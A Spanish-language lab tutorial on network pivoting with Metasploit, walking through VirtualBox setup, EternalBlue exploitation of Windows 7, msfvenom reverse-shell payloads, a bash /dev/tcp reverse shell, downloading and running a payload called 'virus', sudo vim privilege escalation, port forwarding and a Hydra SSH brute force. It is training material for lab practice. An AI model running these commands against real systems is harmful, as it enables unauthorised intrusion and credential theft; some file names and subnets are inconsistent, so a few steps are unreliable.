Pivoting con Metasploit
Presentación del Mapa de Red
SI encontramos en una máquina solo una interfaz de red eso signfica que esa no es la que tenemos que hacer Pivoting ya que no se puede. A continuación enseñó un ejemplo de lo que podría ser.

Pivoting en Entornos Windows
Este sería el esquema que vamos a tratar. Se realiza Pivoting en la máquina Windows.

Ahora explicaré cómo configurar una red virtual en VirtualBox y asignar diferentes adaptadores de red a las máquinas virtuales (VM) involucradas en un entorno de pentesting. En este caso, utilizaremos máquinas con Windows 7, Metasploitable2 y Kali Linux.
1. Configuración de la Red en VirtualBox
Acceder al Administrador de Red:
En la ventana principal de VirtualBox, dirígete a la barra de menús superior y selecciona Archivo > Herramientas > Administrador de red.
Crear una nueva Red Interna (NAT):
En el Administrador de Red, localiza el apartado Redes NAT.
Haz clic en el botón Crear para añadir una nueva red.
Asignación de la red NAT:
Dale un nombre a la red, por ejemplo,
Red_Pivoting.Asigna el prefijo IPv4 de la red como
10.10.10.0/24.Asegúrate de que se haya asignado correctamente y haz clic en Aplicar.
Ahora tienes configurada una red interna (NAT) que utilizarás para conectar las máquinas virtuales.
2. Configuración de la Máquina Windows 7
Acceder a la configuración de la máquina:
En VirtualBox, selecciona la máquina de Windows 7 y haz clic en Configuración.
Configuración de adaptadores de red:
En el panel de configuración de la máquina, ve a la sección Red.
Habilita Adaptador 2, selecciona la opción Conectado a y elige Red NAT. Esta configuración le permitirá a la máquina Windows 7 comunicarse a través de la red NAT que acabamos de crear.
Verificación de interfaces de red:
Ahora la máquina Windows 7 tendrá dos interfaces de red: una asociada al adaptador puente (que se conecta a la red física de tu PC) y otra conectada a la red NAT que acabamos de configurar.
3. Configuración de la Máquina Metasploitable2
Configurar adaptador de red en Metasploitable2:
Selecciona la máquina Metasploitable2 en VirtualBox y ve a la configuración.
Asegúrate de que solo hay un adaptador de red conectado y que esté configurado para usar Red NAT.
Esto asegura que Metasploitable2 estará en la misma red NAT que la máquina Windows 7, pero sin interfaces adicionales que puedan complicar la configuración.
4. Configuración de la Máquina Kali Linux
Configurar adaptador de red para Kali Linux:
Selecciona la máquina Kali Linux y abre su configuración en VirtualBox.
En la sección Red, configura el Adaptador 1 como un Adaptador puente. Esto hará que Kali Linux se conecte directamente a la red física de tu equipo, permitiéndole interactuar con otras máquinas de la misma red local.
5. Orden de Arranque
Kali Linux: Inicia primero.
Windows 7: Luego, enciende la máquina víctima.
Metasploitable2: Finalmente, arranca la máquina vulnerable.
6. Comprobaciones de Red
Windows 7
Abre la terminal y ejecuta
ipconfig.Verifica que haya dos interfaces de red: una para el adaptador puente y otra para la red NAT.
Kali Linux
Abre la terminal y ejecuta
ifconfig.Asegúrate de que solo haya una interfaz de red conectada a la red puente.
Metasploitable2
Inicia sesión con:
Usuario:
msfadminContraseña:
msfadmin
Ejecuta
ifconfigy asegúrate de que solo haya una interfaz de red conectada a la red NAT.
7. Infiltración en la Máquina Windows7 y Pivoting
Para identificar las máquinas en la red local:
arp-scan -I eth0 --localnetExplotación de la Vulnerabilidad EternalBlue.
msfconsole
search eternalblue
use 0
show options
set RHOSTS <IP máquina víctima>
runEn meterpreter.
ipconfigBusca una segunda IP en la red NAT en la interfaz 13. Esta podría indicar una red interna para pivoting. Si solo hay una IP, tal vez esta máquina no sea adecuada para pivoting.
Poner en Segundo Plano la Sesión de Meterpreter
Ctrl+ZPara ver las sesiones en segundo plano.
sessions -lMódulo de Metasploit para encontrar equipos de la Red Interna.
use windows/gather/arp_scanner
show options
set SESSION 1
set RHOSTS <IP máquina víctima>/24 #Rango de las IPs por eso el 24
runNos encuentra las distintas IPs de nuestra Red Interna. Ahora quiero que me envíe el tráfico desde la máquina víctima Windows a la máquina víctima objetivo Metasploitable2 para que llegue a mi Kali.
use multi/manage/autoroute
show options
set SESSION 1
runYa tenemos el tráfico enrutado. Hacer escaneo de los puertos abiertos de la máquina víctima.
use scanner/portscan/tcp
show options
set RHOSTS <IP máquina víctima>
runVemos los puertos abiertos es hacer nmap pero con Metasploit. En caso de hacer el Pivoting en Windows realizamos lo siguiente.
use post/windows/manage/portproxy
show options
set CONNECT_ADDRESS <IP máquina víctima>
set CONNECT_PORT 80 # Puerto al que queremos acceder
set LOCAL_ADDRESS 0.0.0.0 # Siempre debe ser 0.0.0.0
set LOCAL_PORT 5000 # Puerto local para redirigir el tráfico del puerto objetivo
set SESSION 1 # ID de la sesión de Meterpreter de la máquina Windows
runAbrimos el navegador con la IP de la máquina Windows 7 con el puerto 5000 porque es donde me he traído el puerto 80.
Preparación del Laboratorio de Pivoting en Linux

1. Configuración de Red en VirtualBox
Para crear una red en VirtualBox y configurar las máquinas necesarias, sigue estos pasos:
Creación de Red NAT:
Ve a Archivo > Herramientas > Administrador de red.
Crea una red NAT con el nombre
Red_Pivotingy asigna la dirección IP10.10.10.0/24.
Configuración de Máquinas Virtuales:
Máquina Kali:
En la configuración de red, elige Adaptador puente para el único adaptador de red activo.
Máquina Friendly (Máquina intermedia):
Configura el primer adaptador como Adaptador puente.
Configura el segundo adaptador en modo Red NAT y selecciona la red
Red_Pivoting.
Máquina Basic (Máquina final):
Activa solo un adaptador de red y configúralo en modo Red NAT, seleccionando la red
Red_Pivoting.
Iniciar Máquinas:
Con las configuraciones completadas, inicia las máquinas en el orden necesario.
2. Detección y Exploración de Vulnerabilidades
Identificación de la Máquina Objetivo
Desde la máquina Kali, ejecuta el siguiente comando para identificar dispositivos en la red local:
arp-scan -I eth0 --localnetEscaneo de Vulnerabilidades con Nmap
Realiza un escaneo con Nmap en la máquina objetivo para detectar posibles vulnerabilidades. Utiliza el siguiente comando:
nmap -p- -sS -sC -sV --open --min-rate=5000 -vvv -n -Pn <IP máquina víctima>En los resultados, se observa que los puertos 80 y 21 están abiertos.
3. Acceso a la Máquina Vulnerable
Exploración del Servicio FTP
El puerto 21 (FTP) está abierto, permitiendo autenticación con el usuario anonymous y una contraseña en blanco (comportamiento predeterminado).
Creación del Payload
Genera un payload para obtener acceso remoto con msfvenom:
msfvenom -p php/reverse_php LHOST=<IP máquina atacante> LPORT=443 -f raw > pwnws.phpSubida del Payload
Accede al servicio FTP y sube el payload utilizando el siguiente comando:
put pwned.phpConfiguración de Escucha
Pon el puerto 443 en escucha para recibir la conexión inversa:
nc -nlvp 443Carga del Payload
Para activar el payload y obtener acceso, visita la siguiente URL:
http://<IP máquina víctima>/pwned.php4. Estabilización de la Conexión y Creación de Payload para Meterpreter
Estabilización de la Conexión
Dado que la conexión inicial no es estable, creamos una nueva escucha en el puerto 444:
nc -nlvp 444Luego, transferimos la sesión del puerto 443 al 444 con el siguiente comando:
bash -c "sh -i >& /dev/tcp/<IP máquina atacante>/444 0>&1"Creación de un Payload para Meterpreter
Para mejorar el control sobre la máquina, generamos un payload de Meterpreter con msfvenom:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP máquina atacante> LPORT=4444 -f elf -b '\x00\x0a\x0d' -o virusCompartir el Payload
Inicia un servidor web en Python para facilitar la transferencia del archivo malicioso a la máquina víctima:
python3 -m http.server 80Paso 4: Descargar el Payload en la Máquina Víctima
Desde la sesión activa en la máquina víctima, descarga el payload usando wget:
wget http://1.2.3.4/virus5. Configuración de Metasploit para Recibir la Sesión
Iniciar el Handler en Metasploit
Abre Metasploit y selecciona el módulo de handler:
use multi/handlerVerificar Opciones del Módulo
Muestra las opciones del módulo seleccionado:
show optionsConfiguración del Payload
Elige el payload de Meterpreter adecuado para Linux:
set PAYLOAD linux/x86/meterpreter/reverse_tcpConfiguración de Dirección IP
Asigna la dirección IP de la máquina atacante:
set LHOST <IP máquina atacante>Ejecutar el Handler
Inicia el handler para recibir la sesión:
run6. Ejecución del Payload en la Máquina Víctima
Asignar Permisos de Ejecución
En la máquina intermedia Friendly, otorga permisos de ejecución al archivo malicioso:
chmod +x virusEjecutar el Payload
Inicia la ejecución del archivo para enviar la sesión a Metasploit:
./virus7. Escalada de Privilegios
Para realizar pivoting, necesitamos obtener privilegios de root ya que como usuarios www-data tenemos permisos limitados.
Paso 1: Verificación de Permisos
Comprobamos los permisos sudo del usuario actual:
sudo -lEl resultado muestra que podemos ejecutar el binario /usr/bin/vim con privilegios elevados. Antes de continuar, configuramos el TTY:
script /dev/null -c bashPaso 2: Escalada de Privilegios con Vim
Consultando GTFOBins, encontramos el comando para escalar privilegios utilizando vim:
sudo vim -c ':!/bin/sh'8. Finalización del Pivoting
Con la sesión de root obtenida, podemos completar el proceso de pivoting ejecutando el payload en la máquina intermedia:
./virusPivoting en Entornos Linux
1. Identificar las Interfaces de Red
Desde el intérprete de Meterpreter en la máquina intermedia Friendly, listamos las interfaces de red para visualizar la red interna:
ipconfigObservaremos dos interfaces de red:
Friendly: máquina intermedia.
Basic: la máquina final en la red interna.
2. Poner en Segundo Plano la Sesión de Meterpreter
Para escanear otros dispositivos en la red, enviamos la sesión actual de Meterpreter a segundo plano:
Usar Ctrl + Z para minimizar la sesión.
Confirmar que la sesión sigue activa con:
sessions -l3. Añadir Rutas y Configurar Enrutamiento
Configuramos el enrutamiento para escanear la red interna cargando el módulo autoroute en Metasploit:
use multi/manage/autorouteAsigna el SESSION ID adecuado (en este caso, 1):
set SESSION 1Ejecuta el módulo:
runVerifica el enrutamiento configurado:
route4. Crear un Script de Escaneo de Red en Bash
Para identificar otros dispositivos en la red interna, creamos un script en bash. En tu máquina local, crea el archivo:
nano escaner.shIncluye el siguiente contenido en el script:
#!/bin/bash
for i in {1..255}; do
timeout 1 bash -c "ping -c 1 10.0.10.$i" >/dev/null
if [ $? -eq 0 ]; then
echo "El host 10.0.10.$i está activo"
fi
doneEste script envía un ping a las IPs en el rango 10.0.10.1 - 10.0.10.255 para identificar hosts activos.
5. Transferir el Script a la Máquina Intermedia
Para transferir el script a la máquina intermedia:
Inicia un servidor HTTP en tu máquina:
python3 -m http.server 80Desde la sesión de Meterpreter, descarga el script en Friendly:
wget <IP del servidor>/escaner.shVerifica que el archivo se transfirió correctamente:
lsAsigna permisos de ejecución al archivo:
chmod +x escaner.shEjecuta el script para ver los hosts activos en la red interna:
./escaner.sh6. Escaneo de Puertos con Metasploit
En Metasploit, usa el módulo de escaneo de puertos TCP para analizar la IP identificada.
use scanner/portscan/tcp
set RHOSTS <IP máquina víctima>
runEste módulo muestra los puertos abiertos en la máquina objetivo.
7. Redirección de Puertos (Port Forwarding)
Para acceder a los servicios en la máquina víctima, redirigimos sus puertos hacia nuestro equipo local.
Ejemplo de redirección para SSH en el puerto 22 hacia el puerto 222 en tu máquina:
session -i 1
portfwd add -l 222 -p 22 -r <IP máquina víctima>Conéctate al servicio SSH desde tu terminal local:
ssh dimitri@127.0.0.1 -p 222Si necesitas redirigir otro puerto, como el 631, puedes mapearlo al puerto 5000 en tu equipo:
portfwd add -l 5000 -p 631 -r 1.1.1.8Ahora puedes acceder al servicio en tu navegador en 127.0.0.1:5000.
8. Ataque de Fuerza Bruta con Hydra
Para realizar un ataque de fuerza bruta en el servicio SSH, utiliza Hydra:
hydra -l dimitri -P /usr/share/wordlists/rockyou.txt ssh://127.0.0.1 -s 222Cómo Hacer Pivoting mediante SSH – [OPCIONAL]
1. Configuración del Entorno
En este escenario, tenemos tres máquinas configuradas de la siguiente manera:
Máquina Atacante: Kali Linux
Conexión de red: Adaptador en modo puente.
Máquina Intermedia: Ubuntu
Conexión de red: Adaptador en modo puente y otro adaptador en red interna.
Máquina Objetivo: Metasploitable2
Conexión de red: Adaptador en modo red interna (conectada solo con la máquina intermedia Ubuntu).
Objetivo: Realizar un pivoting desde Kali Linux para acceder a la máquina Metasploitable2 a través de Ubuntu, utilizando SSH y la herramienta SSHuttle.
2. Configurar SSH en la Máquina Intermedia (Ubuntu)
Instalar y habilitar SSH en la máquina intermedia Ubuntu si no está ya configurado:
sudo apt update sudo apt install openssh-server -y sudo systemctl enable ssh sudo systemctl start sshVerificar las interfaces de red en Ubuntu para identificar las IP disponibles:
bashCopiar códigohostname -IEsto mostrará las direcciones IP asignadas a cada interfaz. Necesitaremos la IP del adaptador en modo puente para conectarnos desde Kali Linux.
3. Conectar Kali Linux a Ubuntu a través de SSHuttle
En Kali Linux, usa SSHuttle para enrutar el tráfico de red hacia la red interna de Ubuntu, permitiendo el acceso a la máquina Metasploitable2:
sshuttle -r <usuario_en_ubuntu>@<IP_de_ubuntu> 10.10.10.0/24Donde:
<usuario_en_ubuntu>es el usuario en la máquina Ubuntu.<IP_de_ubuntu>es la dirección IP del adaptador en modo puente en la máquina Ubuntu.10.10.10.0/24es el rango de la red interna (ajusta este rango según la configuración de tu red interna).
Explicación: El comando indica a SSHuttle que redirija todo el tráfico para la red
10.10.10.0/24a través de la conexión SSH con Ubuntu. Esto nos permite "pivotar" hacia la máquina Metasploitable2, situada en la red interna.
4. Identificar la IP de la Máquina Objetivo (Metasploitable2)
En la máquina intermedia (Ubuntu), ejecuta arp-scan para descubrir los dispositivos conectados en la red interna y obtener la IP de la máquina Metasploitable2:
sudo arp-scan -I enp0s8 --localnetDonde:
enp0s8es la interfaz configurada en red interna en Ubuntu (ajusta el nombre de la interfaz según tu sistema).
Este comando mostrará las IPs de los dispositivos activos en la red interna. Anota la IP de Metasploitable2 para acceder a ella en el siguiente paso.
5. Acceder a la Máquina Objetivo desde Kali Linux
Ahora, desde Kali Linux, puedes acceder directamente a la máquina Metasploitable2 usando la IP obtenida en el paso anterior.
Puedes, por ejemplo, abrir la IP de Metasploitable2 en un navegador o realizar escaneos de puertos utilizando herramientas como nmap:
nmap -sV <IP_de_metasploitable2>Esto te permitirá enumerar servicios y realizar pruebas en la máquina objetivo como si estuviera en la misma red que Kali Linux.
Last updated
Was this helpful?
